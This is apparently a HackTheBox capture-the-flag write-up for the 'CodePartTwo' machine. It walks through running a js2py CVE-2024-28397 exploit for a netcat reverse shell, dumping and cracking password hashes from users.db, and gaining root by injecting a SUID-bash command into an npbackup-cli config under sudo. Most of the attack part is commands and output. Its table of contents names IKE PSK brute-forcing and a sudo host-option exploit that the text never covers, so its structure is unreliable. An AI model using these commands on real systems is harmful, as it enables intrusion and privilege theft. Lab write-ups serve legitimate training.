HackTheBox Writeup-CodePartTwo
Table Of Contents :
Step1 : Enumeration
- Nmap Scan(TCP&UDP).
Step2 : Foothold
- IKE Aggressive Mode PSK Bruteforce Attack.
Step3 : Privilege Escalation
- Sudo 1.9.17 Host Option — Elevation of Privilege.
Step1 : Enumeration
# nmap -sC -sV 10.10.11.82
Nmap scan report for 10.10.11.82
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open http Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelnmap revels two opened ports, Port 22 serving SSH and Port 8000 serving HTTP .
so we add the HTTP as a domain in our trusted hosts and then start some FUZZING to get subdomain or new endpoints :
10.10.11.82 codeparttwo.htbwe can see that there is two endpoints that we can visit (login®ister) and one that triggers a download of a zip file which is the download app
Step2 : Foothold
so we see that the downloaded app is actually the source code of the application and when we read the app.py file we suspect that there is vulnerability in :
Arbitrary Code Execution (A-0-C)
The run_code route allows a user to submit arbitrary JavaScript code to the backend, which is then executed using js2py.eval_js().
- Vulnerability: This is a classic Arbitrary Code Execution (ACE) vulnerability, as the input is completely untrusted. While
js2py.disable_pyimport()is called to block the code from importing Python modules, it may not guarantee total isolation, and the execution environment itself could be manipulated or abused. An attacker could potentially run malicious JavaScript code with system-level impact, depending on the underlying execution environment and the security sandbox ofjs2py.
Path Traversal in File Download
The download route uses send_from_directory but hardcodes the path for the file download.
- Vulnerability: Although the current code doesn’t directly take user input for the file path, the use of
send_from_directoryis generally associated with the risk of Path Traversal (or Directory Traversal). If thepathargument were changed to take user input (e.g., from a query parameter like/download?file=app.zip), an attacker could use sequences like../(dot-dot-slash) to try and access files outside the intended/home/app/app/static/directory, such as/etc/passwd.
so we go for the code execution by reviewing the file requirements from the downloaded zip source code we see the version of the js2py which is js2py==0.74 so we search for CVE for it and we find it is vulnerable to CVE 2024-28397
https://github.com/naclapor/CVE-2024-28397/tree/main
to exploit we first Start netcat listener
nc -lnvp 4444then we Run the exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost YOUR-IP --lport 4444and we get reverse shell :
whenever you get a reverse shell and you want to make it more stable and interactive use the following command in order :
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ctrl + z
stty raw -echo; fgso now we try to find a privilege escalation by first searching for users in the passwords file :
grep "bash" /etc/passwdand we find two users Marco and the root user
from the previous action when we downloaded the source code file we found empty file called users.db in the instance folder.
Get moko55’s stories in your inbox
Join Medium for free to get updates from this writer.
so to escalate the privilege to gain the user Marco password we recheck it but this time in the reverse shell that we got :
app@codeparttwo:~/app/instance$ cat users.db
�O�O�J%%�Wtablecode_snippetcode_snippetCREATE TABLE code_snippet (
id INTEGER NOT NULL,
user_id INTEGER NOT NULL,
code TEXT NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY(user_id) REFERENCES user (id)
)�0�CtableuseruserCREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(80) NOT NULL,
password_hash VARCHAR(128) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
���'Mappa97588c0e2fa3a02487b42e)Mmarco649c9d6abe509fe128bce5now we have the hash of the user marco and we can crack it from crack station website :
so now we have the credentials of the user Marco .
so we connect using SSH and we are in as the USER and we can get the USER FLAG :
Step3 : Privilege Escalation
Sudo Permissions
Checking sudo privileges revealed that the user can execute npbackup-cli as root without providing a password:
sudo -l
Output:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cliThis means any configuration file passed to npbackup-cli will be parsed and executed with root privileges.
Abusing npbackup-cli Configuration Parsing
The tool supports “pre‑execution” commands inside the configuration file.
Since the configuration is processed as root, injecting system commands allows arbitrary code execution.
First, a copy of the legitimate configuration file that we can find after loggin in using ssh in the marco folder :
marco@codeparttwo:/tmp$ cp /home/marco/npbackup.conf /tmp/evil.confThe copied file was then modified to include a malicious command:
nano /tmp/evil.confInside the appropriate section (e.g., under backup_opts), the following directive was added:
pre_exec_commands:
- chmod 4755 /bin/bashyou will find something like [] so you delete it and them add the above command
This command sets the SUID bit on /bin/bash, allowing it to execute with root privileges.
Triggering the Malicious Configuration
The backup tool was executed using the modified configuration file:
sudo /usr/local/bin/npbackup-cli -c /tmp/evil.conf -bSince npbackup-cli runs as root, the injected command executed successfully, converting /bin/bash into a SUID‑root shell.
Gaining a Root Shell
Launching bash with the -p flag preserves the elevated effective UID:
/bin/bash -pThis resulted in a full root shell:
# id
uid=0(root) gid=0(root) groups=0(root)Root access was obtained and we can get the ROOT FLAG :
Created By moko55 → https://app.hackthebox.com/profile/935392










